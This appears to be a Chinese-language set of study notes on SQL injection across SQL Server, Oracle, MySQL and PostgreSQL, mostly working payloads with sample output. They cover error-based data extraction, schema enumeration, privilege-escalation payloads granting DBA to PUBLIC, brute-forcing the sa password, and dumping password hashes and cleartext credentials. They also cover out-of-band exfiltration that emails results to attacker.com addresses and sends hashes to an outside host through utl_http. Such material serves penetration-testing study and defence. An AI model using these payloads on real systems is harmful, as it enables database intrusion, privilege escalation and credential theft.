appdbuser很明显这个返回能做文章,使用前面提到的is_srvrolemember的返回值强制类型转换

http://www.victim.com/products.asp?id=char(65%2Bis_srvrolemember('sysadmin'))
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'B' to data type int. 
/products.asp, line 33

如果当前用户不属于sysadmin组,那么is srvrolemember将返回0,char(65+0)将返回字母A,如果当前用户拥有管理员权限,那么is_srvrolemember将返回1, char(65+1)将返回字母B。

having 1=1基于报错,枚举当前查询用得列名,通常和group by一起使用,group by将已查询到的列去除,再次枚举现在第一列,sql server能产生第一列错误信息

http://www.victim.com/products.asp?id=1+having+1=1
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/products.asp, line 233

products.id就是第一条列名,要查询第二条

http://www.victim.com/products.asp?id=1+group+by+products.id+having+1=1
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Column 'products.name' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/shop.asp, line 233

第一列属于GROUP BY子句,因而该错误现在由第二列products.name触发。接下来将该列添加到GROUP BY子句,不需要清除前面的内容

http://www.victim.com/shop.asp?id=1+group+by+products.id,products.name+having+1=1

Oracle中的错误信息

utl_inaddr,该函数负责解析主机名

select utl_inaddr.get_host_name('victim') from dual;

ORA-29257 : host victim unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1

关注victim,和前面小节一样,向utl_inaddr传入的都会显示在错误中

用select语句替换victim,有个限制:只能返回一列和一行,否者会收到另一种报错信息ORA-01427错误消息:single-row subquery returns more than one row。

select utl_inaddr.get_host_name((select username||'='||password from dba_users where rownum=l)) from dual;
ORA-29257: host SYS=D4DF7931AB130E37 unknown
ORA-06512: at "SYS.UTL—INADDR", line 4
ORA-06512: at "SYS.UTL—INADDR", line 35
ORA-06512: at line 1

select utl_inaddr.get_host_name((select banner from v$version where rownum=l)) from dual;
ORA-29257: host ORACLE DATABASE 10G RELEASE 10.2.0.1.0 - 64BIT PRODUCTION unknown
ORA-06512: at "SYS.UTL—INADDR", line 4
ORA-06512: at "SYS.UTL—INADDR", line 35
ORA-06512: at line 1

rownum=1是控制返回第几条,不然不能得到预期结果,||管道符拼接则是绕过只能返回一列的限制

select username||'='||password from (select rownum r,username,password from dba_users) where r=1
ORA-29257: host SYS=D4DF7931AB130E37 unknown
-- 为避免所连接的字符串中出现单引号,可选用concat函数:
select concat(concat(username,chr(61)),password) from (select rownum r,username,password from dba_users) where r=2
ORA-29257: host SYSTEM=E45049312A231FD1 unknown

绕过单行限制以获取多行信息。可通过使用带XML的专用SQL语句或专用的Oracle函数stragg(11g+)来在单行中获取所有行,上述两种方法唯一的限制是输出大小(最大为 4000字节):

select xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype('<?xml version="l.0"?><xsl:stylesheet version="l.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match:"/"><xsl:for-each select="/ROWSET/USERNAME"><xsl:value-of select="text()"/>;</xsl:for-each</xsl:template </xsl:stylesheet>')).getstringval() listagg from all_users;
select sys.stragg(distinct username||';') from all_users

这段代码注入utl_inaddr中,就会输出所有用户名:

ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP;DEMO1;DIP;DUMMY;
EXFSYS;FLOWS_030000;FLOWS_FILES;MDDATA;MDSYS;MGMT_VIEW;
MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGINS;ORDSYS;OUTLN;
OWBSYS;PHP;PLSQL;SCOTT;SI_INFORMTN_SCHEMA;SPATIAL_CSW_ADMIN_USR;
SPATIAL_WFS_ADMIN_USR;SYS;SYSMAN;SYSTEM;TSMSYS;WKPROXY;WKSYS;
WK_TEST;WMSYS;X;XDB;XS$NULL;

默认情况下,oracle llg通过ACL来限制对utl_inaddr和其他网络包访问,这时会得到报错network access denied by access control list,这种情况或者utl_inaddr取消了public权限,就要另外用其他函数了,下面列举函数

#注入下列内容:
Or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user,'a','b')-- 
#返回下列内容:
ORA-53044: invalid tag: VICTIMUSER
#注入下列内容:
or 1=SYS.DBMS_AW_XML.READAWMETADATA(user,'a')-- 
#返回下列内容:
ORA-29532: Java call terminated by uncaught Java exception: oracle.
AWXML.AWException: oracle.AWXML.AWException: An error has occurred, on the server
Error class: Express Failure
Server error descriptions:
ENG: ORA-34344: Analytic workspace VICTIMUSER is not attached.
#注入下列内容:
Or 1= CTXSYS.CTX_QUERY.CHK_XPATH(user,'a','b')--
返回下列内容:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus VICTIMUSER does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 538
ORA-06512: at line 1

枚举数据库模式

在拥有权限的前提下,将所有元数据全部枚举出来

SQL Server

有一个返回指定商品的详细信息的页面http://test

返回数据表列表

http://test?id=12+union+select+null,name,null,null+from+master..sysdatabases

master数据库包含了其他数据库的元数据,如master..sysdatabases可以检索出数据库名称列表

e-shop数据库包含了电子商务应用使用的所有数据。

select db_name();
-- 正在使用的数据库名称

枚举表名,每个数据都有一个名为sysobjects的表,假如想要检索e-shop数据库的表名

SELECT name FROM e-shop..sysobjects WHERE xtype='U'

得到表名,枚举列名,以customers表为例

SELECT name FROM e-shop..syscolumns WHERE id =(SELECT id FROM e-shop..sysobjects WHERE name = 'customers')

这句SQL用的是镶嵌查询,先用里面的查出customers表的id,再通过id指定表查列名,也能使用连接查询

SELECT a.name FROM e-shop..syscolumns a,e_shop..sysobjects b WHERE
b.name ='customers' AND a.id = b.id

知道了列名,可以开始枚举字段,爆数据了,数据类型的检验前面说过

http://test?id=12+union+select+null,login,password, null+from+e-shop..Customers-- 

防暴力破解scrypt算法

Mysql

提取数据库名称, 然后转向表、列,最后是数据本身。

检索用户

select user();
select current_users;

没有管理员权限,大于5.0的版本能用information_schema,获取数据库名列表

select schema form information_schema.schemata;

枚举表名,库名customers_db

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema='customers_db'

枚举所有表名

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

检索列

SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='test'

全部列

SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

这样就可以爆出数据库全部内容,当然你能加一些限制条件,找到你需要的数据

SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE column_name LIKE 'password' OR column_name LIKE 'credit_card';

查询用户授权信息

SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges;

5.0之前的数据库

先访问存储目标数据库的文件,将其原始内容导入到我们创建的一张表中,然后使用前面介绍的技术提取该表。

SELECT database();

数据库的文件保存在与数据库名称相同的目录下。此目录包含在主MySQL数据目录中,可使用下列查询来返回该目录:

SELECT @@datadir

数据库的所有表包含在一个扩展名为MYD的文件中。例如,下面是数据库默认的 一些MYD文件:

tables_priv.MYD
host.MYD
help_keyword.MYD
columns_priv.MYD
db.MYD

可使用下列查询提取该数据库中特定表的内容:

SELECT load_file('databasename/tablename.MYD')

要是没有information_schema,就必须先暴力破解表名后才能成功执行该查询。load_file允许检索的字节数有个最大值,该值由@@max_allowed_packet 变量指定。所以该技术不适用于存储了大量数据的表。

PostgreSQL

检索所有数据库

SELECT datname FROM pg_database

查找当前数据库

SELECT current_database()

检索数据库用户列表

select usename from pg_user

查询当前用户

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();

session_user返回启动当前数据库连接的用户,而current_user和user(二者是等价的)则返回当前执行上下文的用户,即返回用于检查许可权限的那个用户账号。除非在某处调用了 SET ROLE指令,否则二者通常返回相同的值。对于最后一条语句,getpgusername()将返回与当前线程关联的用户。

枚举所有模式中的全部表

SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)

SELECT tablename FROM pg_tables WHERE tablename NOT LIKE 'pg_%' AND tablename NOT LIKE 'sql_%'

所有列(public下的)

SELECT relname,A.attname FROM pg_class C,pg_namespace N,pg_attribute A,pg_type T WHERE (C.relkind= 'r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

passwd列

SELECT relname,A.attname FROM pg_class C,pg_namespace N,pg_attribute A,pg_type T WHERE (C.relkind= 'r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND
attname LIKE '%passwd%'

Oracle

无法枚举存在的数据库

枚举所有属于当前用户的表

select table_name from user_tables;

枚举所有表和表的拥有者

select owner,table_name from all_tables;

枚举更多关于应用表的信息以确定表中出现的列数和行数

select a.table_name||'['||count(*)||']='||num_rows from user_tab_columns a,user_tables b where a.table_name=b.table_name group by
a.table_name,num_rows

EMP[8]=14
DUMMY[1]=1
DEPT[3]=4
SALGRADE[3]=5

为所有可访问或可用的表枚举相同的信息,包括用户、表名以及表中包含的行数

select b.owner||'.'||a.table_name||'['||count(*)||']='||num_rows from all_tab_columns a,all_tables b where a.table_name=b.table_name group by b.owner,a.table_name,num_rows

枚举每张表的列和数据类型以便更完整地了解数据库模式

select table_name||':'||column_name||':'||data_type||':'||column_id from user_tab_columns order by table_name,column_id

DEPT:DEPTNO:NUMBER:1
DEPT:DNAME:VARCHAR2:2
DEPT:LOC:VARCHAR2:3
DUMMY:DUMMY:NUMBER:1
EMP:EMPNO:NUMBER:1
EMP:ENAME:VARCHAR2:2
EMP:JOB:VARCHAR2:3
EMP:MGR:NUMBER:4
EMP:HIREDATE:DATE:5
EMP:SAL:NUMBER:6
EMP:COMM:NUMBER:7
EMP:DEPTNO:NUMBER:8
SALGRADE:GRADE:NUMBER:1
SALGRADE:LOSAL:NUMBER:2
SALGRADE:HISAL:NUMBER:3

返回当前数据库用户权限

-- 获取当前用户的系统权限:
select * from user_sys_privs;-- how system privileges of the current user
-- 获取当前用户的角色权限:
select * from user_role_privs;-- show role privileges of the current user
-- 获取当前用户的表格权限:
select * from user_tab_privs;
-- 获取当前用户的列权限:
select * from user_col_privs;

获取所有可能的权限列表

-- 获取所有系统权限:
select * from all_sys_privs;
-- 获取所有角色权限:
select * from all_role_privs;
-- 获取所有表权限:
select * from all_tab_privs;
-- 获取所有列权限:
select * from all_col_privs;

返回数据库中所有用户的列表,默认任意数据库用户可执行

select username,created from all_users order by created desc;

SCOTT	04	-JAN -	09
PHP	04	-JAN -	09
PLSQL	02	-JAN -	09
MONODEMO	29	-DEC -	08
DEMO1	29	-DEC -	08
ALEX	14	-DEC -	08
OWBSYS	13	-DEC -	08
FLOWS_030000	13	-DEC -	08
APEX PUBLIC USER	13	-DEC -	08

在Oracle 10g R2之后的版本中,普通用户可使用下列SELECT语句检索数据库的用户名和哈希口令

SELECT name, password, astatus FROM sys.user$ where type#>0 and length(password)=16 
-- astatus (0=open, 9=locked& expired)

SYS     AD24A888FC3B1BE7 0
SYSTEM  BD3D49AD69E3FA34 0
OUTLN   4A3BA55E08595081 9

Oracle llg中,Oracle已经修改了所使用口令的哈希算法,而且哈希口令位于另外 一个不同的列中(spare4列),如下所示:

SELECT name,spare4 FROM sys.user$ where type#>0 and length(spare4)=62 

SYS
S:1336FB26ACF58354164952E502B4F726FF8B5D382012D2E7B1EC99C426A7
SYSTEM
S:38968E8CEC12026112B0010BCBA3ECC2FD278AFA17AE363FDD74674F2651

高级用户,找到加密内容的表,都加密了一定会有可利用的

select table name,column name,encryption_alg,salt from dba_encrypted_columns; 

TABLE NAME       COLUMN NAME    ENCRYPTION ALG       SALT CREDITCARD		CCNR          AES256              NO
CREDITCARD		  CVE           AES256              NO
CREDITCARD        VALID          AES256              NO

检索数据库存在哪些DBA账户

Select grantee,granted_role,admin_option,default_role from dba_role_privs where granted_role='DBA';

在INSERT查询中实施注入攻击

更新数据后执行注入查询语句,update,delete一个意思

第一种情形:插入用户规定的数据

插入的不是最后一列
-- 插入模板
INSERT INTO table (col1,col2) VALUES ('sql','notsql'); 

插入第一列,构造SQL代码关闭sql,再构建我们需要查询的第二列,注释掉其他部分

INSERT INTO table (col1,col2) VALUES ('sql',(SELECT TOP 1 name + ' | ' + master.sys.fn_varbintohexstr(password_hash) from sys.sql_logins))-- ','notsql')

-- fn_varbintohexstr将二进制的哈希值转换为十六进制格式

-- http://test/?sql=sql',(SELECT TOP 1 name + ' | ' + master.sys.fn_varbintohexstr(password_hash) from sys.sql_logins))-- &notsql=notsql
插入的是最后一列
-- 插入模板
INSERT INTO table (col1, col2) VALUES ('notsql','sql');

在mysql中只有处于ANSI模式(或者任何实现了 PIPES_AS_QUOTES的其他模式,比如DB2、ORACLE或MAXDB),管道符才会被解析成连接符。然而,一般都是未实现PIPES_AS_QUOTES(比如处于TRADITIONAL模式),那么||操作符将被解析为一个OR逻辑操作符,而不是一个连接操作符。

INSERT INTO table (col1,col2) VALUES ('foo','bar'|| (select @@version))--
INSERT INTO table (col1,col2) VALUES ('foo', CONCAT('bar',(select @@ version)))--

利用整数与字符相加,优先显示数字的特性

INSERT INTO table (col1,col2) VALUES ('foo','d' +/**/substring((SELECT/**/@@version),1,1)+'');

显示@@version的第一个字符,/**/绕过空格

转化非整数字符使用ASCII()

INSERT INTO table (col1,co12) VALUES ('foo','bar'+/**/ascii(substring(user(),1,1) )+'')
INSERT INTO table (col1,col2) VALUES ('foo', 'bar'+/**/ascii(substring(user(),2,1)) +'')
INSERT INTO table (col1,col2) VALUES ('foo', 'bar'+/**/ascii(substring(user(),3,1) )+'')

第二种情形:生成INSERT错误

为了不污染原数据表,执行子查询,使insert失败,返回错误中得到信息

INSERT INTO users (name, age) VALUES ('foo',10)

foo',(select top 1 name from users where age=@@version))-- 

先执行子查询,由于@@version不是数字,报错,不执行insert

SELECT (SELECT columnl FROM table 1 WHERE column1 = 'test')

标量子查询就是只返回单列值而不是多列值或多行的子查询,如果子查询返回一个值或者NULL,外部将执行,返回超过一行就会终止外部查询展示错误信息,所以可以插入两个select

SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevalue' END FROM ((SELECT 'valuel' AS foobar) UNION (SELECT 'value2' AS foobar)) ALIAS)

CASE子句检查提取的MySQL版本信息,如果遇到特定的版本,SLEEP命令将执行以延迟5秒的时间。这可以告诉我们MySQL是否是某个特定的版本,同时UNION命令将确保向外部SELECT返回两行数据,从而产生错误。

-- 插入模板
INSERT INTO table 1 VALUES ('injectable_parameter')
-- 注入参数
'|| SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevalue' END FROM ((SELECT 'valuel' AS foobar) UNION (SELECT 'value2' AS foobar)) ALIAS) ||'
-- 拼接后
INSERT INTO table 1 VALUES (''|| SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevalue' END FROM ((SELECT 'valuel' AS foobar) UNION (SELECT 'value2' AS foobar)) ALIAS) || '')

REGEXP操作符

SELECT (SELECT 'a' REGEXP (SELECT CASE WHEN <condition> THEN '.*' ELSE '*' END (FROM ((SELECT 'fool' AS bar) UNION (SELECT 'foo2' AS bar) foobar)

如果条件(condition)为true, CASE子句将使用有效的正则表达式它将向最外层的 SELECT语句返回两行数据,我们将接收到常见的错误:

ERROR 1242 (21000): Subquery returns more than 1 row

如果条件为false, REGEXP将采用作为参数,它并不是一个有效的正则表达式, 在这种情况下数据库服务器将返回下列错误:

ERROR 1139 (42000) : Got error 'repetition-operator operand invalid' from regexp

其他

http://test/?name=';INSERT+INTO+users(id,pass,privs)+VALUES+('test','test',0)-- 

提升权限

由于对普通用户存在着限制,要想充分发挥前面介绍的几种攻击的潜力,就必须获取管理员访问权。

SQL Server

OPENROWSET作用于SQL Server上,实现对远程OLE DB数据源(例如另一个SQL Server数据库)的一次性连接。DBA可用它来检索远程数据库上的数据,以此作为永久连接(link)两个数 据库的一种手段。

SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN; Address=10.0.2.2;uid=foo;pwd=password','SELECT columnl FROM tableA')

上述语句中以用户foo连接到地址为10.0.2.2的SQL Server并执行select column1 from tableA查询,最外层的查询传递并返回该查询的结果。foo是地址为10.0.2.2的数据库的一个用户,而不是首次执行OPENROWSET时的数据库用户。

openrowset可以用来爆破sa提权,有三个要点

  • OPENROWSET必须提供执行连接的数据库上的有效凭证。

  • OPENROWSET不仅可用于连接远程数据库,还可用于执行本地连接;执行本地连接时,使用用户在OPENROWSET调用中指定的权限。

  • 在SQL Server 2000上,所有用户均可调用OPENROWSET;而在SQL Server 2005和 2008上,默认情况下该操作被禁用。但有时会被DBA重新启用

  • openrowset至少返回一行,所以加个在没有其他会显示是,必须加个select 1,当然也能加其他的

-- 爆破sa口令
SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=sa; pwd=foo','select 1')

foo是口令的话返回1,不正确返回Login failed for user 'sa'.

如果找到了sa口令,可以使用sp_addsrvrolemember储存过程将用户添加至sysadmin组,这样就能提升权限

SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;
Address=;uid=sa;pwd=password','SELECT 1; EXEC
master.dbo.sp_addsrvrolemeniber "appdbuser","sysadmin"')
-- 两个参数appdbuser是用户名,第二个是组名

注入一个完整的过程,首先构造一个包含OPENROWSET查询和正确用户名的字符串@q,然后通过将@q传递给xp execresultset扩展存储过程(在SQL Server 2000上,所有用户均可调用它)来执行该查询。

DECLARE @q nvarchar(999);

SET @q = N'SELECT 1 FROM OPENROWSET("SQLOLEDB","Network=DBMSSOCN; Address=;uid=sa;pwd=password","SELECT 1; EXEC master.dbo.sp_addsrvrolemember '""+system_user+""',""sysadmin"")';

EXEC master.dbo.xp_execresultset @q, N'master'

只有目标SQL server启用了混合验证模式,sa才能工作,使用混合验证模式时,Windows用户和SQL Server用户(比如sa)均可通过数据库验证。如果远程数据库服务器上配置的只有Windows验证模式,那么此时只有Windows用户能够访问数据库,sa账户将不可用。

-- 检测当前使用的哪种模式
select serverproperty('IslntegratedSecurityOnly')
-- 如果当前采用的只有Windows验证模式,那么该查询返回1,否则返回0

Sqlninja暴力破解命令

./sqlninj a -m bruteforce -w wordlist.txt
./sqlninj a -m fingerprint

OPENROWSET 还可用于寻找存在弱口令的SQL Server

SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;
Address=10.0.0.1;uid=sa; pwd=','SELECT 1')
-- 测试openrowset是否可用
select value_in_use from sys.configurations where name LIKE 'Ad Hoc%' 
-- 如果OPENROWSET可用,该查询将返回1,否则将返回0。 

在未打补丁的服务器上提升权限

如果目标数据库服务器没有更新最新的安全补丁,它就可能会受到一种或多种很有名的攻击。

例子:CVE-2010-0232漏洞

Sqlninja中包含了一个利用该原始漏洞的定制版本的工具。当以sql作为参数来调用该工具时, 它将寻找SQLSERVR.EXE进程并将该进程的权限提升为SYSTEM。为了执行这种攻击,需要 执行下面几个步骤:

  • 使用 fingerprint 模式(-m fingerprint)检查 xp cmdshell 是否可用(option 3),以及 SQLSERVR. EXE并未以SYSTEM权限运行(option 5)。

  • 使用 upload 模式(-m upload)将 vdmallowed.exe(option 5)和 vdmexploit.dll(叩tion 6)传送到远程服务器。

  • 使用 command 模式(-m command)运行 ‘%TEMP%\\vdmallowed.exe sql, 以执行该漏洞利用工具。

如果远程Windows服务器没有打上针对这一漏洞的补丁,此时fingerprint模式将确认SQL Server真正运行在SYSTEM权限之下。

Oracle

如果我们可以访问dbms_xmlquery.newcontext()dbms_xmlquery.getxml()(默认对于PUBLIC权限可访问),就可以通过匿名PL/SQL代码块执行注入

不需要PL/SQL注入的一个例子是:使用在Oracle的mod_plsql组件中发现的一个漏洞。 下列URL展示了一种通过driload包提升权限的方法。这个包未被mod_plsql组件过滤,所有Web用户均可通过输入下列URL来提升权限:

http://www.victim.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=GRANT+DBA+TO+PUBLIC

在利用大多数权限提升漏洞时使用了下列概念:

  1. 创建一个将DBA权限授权给公共角色的有效载荷。这比将DBA权限授权给指定的用户更隐蔽些。下一步将把该有效载荷注入一个易受攻击的PL/SQL存储过程中。
CREATE OR REPLACE FUNCTION F1 return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'COMMIT;
RETURN 1;
END;
/
  1. 将该有效载荷注入一个易受攻击的包中:
exec sys.kupw$WORKER.main('x','YY'' and 1=user12.f1 -- mytagl2');
  1. 启用DBA角色:
set role DBA;
  1. 从公共角色中撤销DBA角色:
revoke DBA from PUBLIC;

当前会话虽然仍然拥有DBA权限,但却不再出现在Oracle的权限表中。

SYS.LT

如果数据库用户具有CREATE PROCEDURE权限,我们就可以在该用户的模式(schema) 中创建一个恶意函数,并在SYS.LT包的一个容易遭受攻击的对象中注入该函数(2009年4月 Oracle已经修正了这一问题)。这一攻击的结果,就是我们的恶意函数在SYS许可权限下获得 执行,并且我们获得了 DBA权限。

-- 创建函数
http://www.victim.com/inciex.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate "create or replace function pwn2 return varchar2 authid current_user is PRAGMA autonomous_transaction;BEGIN execute immediate ""grant dba to public"";commit;return "",1"";END;''; commit; end;') from dual) is not null -- 

-- 利用 SYS.LT
http://www.victim.com/index.jsp?id=l and (select dbms_xmlquery. newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate "begin SYS.LT.CREATEWORKSPACE(""A10""""" and scott.pwn2()=""""x"");SYS.LT.REMOVEWORKSPACE(""A10"""" and scott.pwn2()=""""x"");end;";commit;end;') from dual) is not null -- 

SYS.DBMS_CDC_PUBLISH

该问题在sys.dbms_cdc_publish.create_change_set包中,该漏洞允许一个具有execute catalog role权限的用户成为DBA

http://www.victim.com/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set(''''a'''',''''a'''',''''a''''''''||SCOTT.pwn2()||''''''''a'''',''''Y'''',sysdate,sysdate);end;'';commit; end;') from dual) is not null--
绕过 CREATE PROCEDURE 权限

要求具有create procedure权限

cursor注入
http://www.victim.com/index.jsp?id=l and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' DECLARE D NUMBER;BEGIN D:= DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(D,''''declare pragma autonomous_transaction; begin execute immediate ''''''''' grant dba to public'''''''';commit;end;'''',0);SYS.LT.CREATEWORKSPACE(''''a''''''' and dbms_sql.execute(''''||D||'''')=1--');SYS.LT.COMPRESSWORKSPACETREE(''''a'''''''' and dbms_sql.execute(''''||D||'''')=1--'''');end;''; commit; end;') from dual) is not null--
SYS.KUPP$PROC

SYS.KUPPSPROC.CREATE MASTER PROCESS()函数是另外一个 Oracle 函数,它允许执行任意PL/SQL语句。只有具有DBA角色的用户才能执行该函数。

select dbms_xmlquery.newcontext(' declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.vulnproc(''''a''''''''||sys.kupp$proc.create_master_process(''''''''EXECUTE IMMEDIATE''''''''''''''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
''''''''''''''''''''''''''''''''GR ANT DBA TO PUBLIC'''''''''''''''''''''''''''''''';END;'''''''''''''''''''''''''''''''';'''''''')||''''''''a'''');end; ''; commit; end;') from dual
弱许可权限
CREATE ANY VIEW
CREATE ANY TRIGGER
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

这些权限间接地允许权限提升攻击。

使用CREATE ANY TRIGGER提升权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' create or replace trigger "SYSTEM". the_trigger before insert on system.OL$ for each row declare pragma autonomous_transaction; BEGIN execute immediate ''''GRANT DBA TO PUBLIC''''; END the_trigger;'';end;') from dual

窃取哈希口令

SQL Server

不同版本,差别很大,都需要管理员权限才能访问哈希口令表

SQL Server 2000

哈希口令储存在master数据库的sysxlogins表中

SELECT name,password FROM master.dbo.sysxlogins -- 检索

由pwdencrypt()函数生成,哈希值由头,salt,区分大小写的哈希,不区分大小写的哈希组成

SQL Server 2005,2008

sysxlogins不存在了,移除了不区分大小写的哈希

通过查询sql_logins视图检索哈希口令

SELECT password_hash FROM sys.sql_logins

使用fh_varbintohexstr()函数将哈希值显式地强制转换为十六进制字符串

http://www.victim.com/products.asp?id=1+union+select+master.dbo.fn_varbintohexstr(password_hash)+from+sys.sql_logins+where+name+=+'sa'

Mysql

SELECT user,password FROM mysql.user;
-- 检索哈希口令,哈希口令由password()函数产生,算法随版本

PostgreSQL

如果刚好具有administrative权限,就可以访问pg_shadow表

SELECT usename, passwd FROM pg_shadow
SELECT rolname, rolpassword FROM pg_authid
HASH = 'md5' || MD5('foobar') = md53858f62230ac3c915f300c664312c63f
-- foo是password,bar是username 

Oracle

Oracle在sys.user$表的password列存储数据库账户的哈希口令。dba_users视图指向该表,但从Oracle 11g开始,数据加密标准(Data Encryption Standard, DES)的哈希口令不再出现在 dba_user视图中。sys.user$表包含数据库用户(type#=1)和数据库角色(type#=0)的哈希口令。

针对Oracle DES用户名口令:

Select username,password from sys.user$ where type#>0 andlength(password)=16

针对Oracle DES角色口令:

Select username,password from sys.user$ where type#=1
andlength(password)=16

针对 Oracle SHA1 口令(11g+):

Select username,substr(spare4,3,40) hash,substr(spare4,43,20) salt fromsys.user$ where type#>0 and length(spare4)=62;

sysman.mgmt_credentials2表是通常能找到的SYS用户明文口令的示例。

-- get the cleartext password of the user MGMT_VIEW (generated by Oracle during the installation time, looks like a hash but is a password) 
select view_username, sysman.decrypt(view_password) Password from sysman.mgmt_view_user_credentials;
-- get the password of the dbsnmp user, databases listener and OS credentials
select sysman.decrypt(t1.credential_value) sysmanuser, sysman.decrypt(t2.credential_value) Password from sysman.mgmt_credentials2 t1, sysman.mgmt_credentials2 t2 where t1.credential_guid=t2.credential_guid
and lower(t1.credential_set_column)='username'
and lower(t2.credential_set_column)='password'
-- get the username and password of the Oracle Knowledgebase Metalink 
select sysman.decrypt(ARU_USERNAME),sysman.decrypt(ARU_PASSWORD) from SYSMAN.MGMT_ARU_CREDENTIALS;
Oracle组件
  • APEX
  • Oracle Internet Directory

带外通信

用于发送请求的HTTP(S)连接被用于接收响应。不过也有例外的情况:可以通过完全不同的信道来传输结果。我们称这样的通信 为“带外”,或简称为OOB(Out Of Band)。

e-mail

攻击者需要做的是构造一种利用,通过它来提取想要的信息,将数据打包到e-mail中并使用专门的数据库函数插入到e-mail队列中。之后该e-mail就会出现在攻击者的邮箱中。

MS Server

SQL Mail(SQL Server 2000、2005 和 2008)和 Database Mail(SQL Server 2005 和 2008)

  • SQL Mail

    EXEC master..xp_startmail;
    EXEC master..xp_sendmail @recipients = 'admin@attacker.com', @query ='select @@version'
  • Database Mail

    --Enable Database Mail
    EXEC sp_configure 'show advanced', 1;
    RECONFIGURE;
    EXEC sp_configure 'Database Mail XPs', 1;
    RECONFIGURE
    -- Create a new account, MYACC. The SMTP server is provided in this call. 
    EXEC msdb.dbo.sysmail_add_account_sp@account_name='MYACC',@email_address='hacked@victim.com',@display_name='mls',@mailserver_name='smtp.victim.com',
    @account_id=NULL;
    -- Create a new profile, MYPROFILE
    EXEC msdb.dbo.sysmail_adci_profile_sp@profile_name= 'MYPROFILE',@description=NULL, @profile_id=NULL;
    -- Bind the account to the profile
    EXEC msdb.dbo.sysmail_add_profileaccount_sp @profile_name='MYPROFILE',@account_name='acc',@sequence_number=1
    -- Retrieve login
    DECLARE @b VARCHAR(8000);
    SELECT @b=SYSTEM_USER;
    -- Send the mail
    EXEC msdb.dbo.sp_send_dbmail @profile_name='MYPROFILE',@
    recipients='allyrbase@attacker.com', @subject=' system user',@body=@b;
Oracle

UTL_SMTP提供了一系列函数来启动并管理一个SMTP连接:先使 用UTL_SMTP.OPEN_CONNECTION与服务器取得联系,之后使用UTL_SMTP.HELLO向服务器发送“HELLO”消息,接着分别使用UTL_SMTP.MAIL和UTL_SMTP.RCP指定发送者和接收者,接下来使用UTL_SMTP.DATA指定消息,最后使用UTL_SMTP.QUIT终止会话。

UTL_MAIL.SEND(sender, recipient, cc, bcc, subject, message, mime_type, priority)

HTTP/DNS

Oracle 还提供了两种执行 HTTP 请求的方法:UTL_ HTTP 和 HTTPURI TYPEoUTL_ HTTP 包和HTTPURI_TYPE对象类型默认授权给了公共角色,可以由数据库所有用户执行或通过 SQL注入加以执行。

要想向远程系统发送SYS用户的哈希口令,可注入下列字符串:

or l=utl_http.request('http://www.orasploit.com/'||(select password from dba_users where rownum=l))-- 

也可以借助于HTTPURI_TYPE对象类型,如下所示:

or 1=HTTPURI_TYPE('http://www.orasploit.com/'||(select password from dba_users where rownum=l)).getclob() -- 

如果SQL查询写在URL内部,那么还可以通过域名系统(Domain Name System,DNS)查询来发送数据(最大为64字节)。该查询作用于外部站点

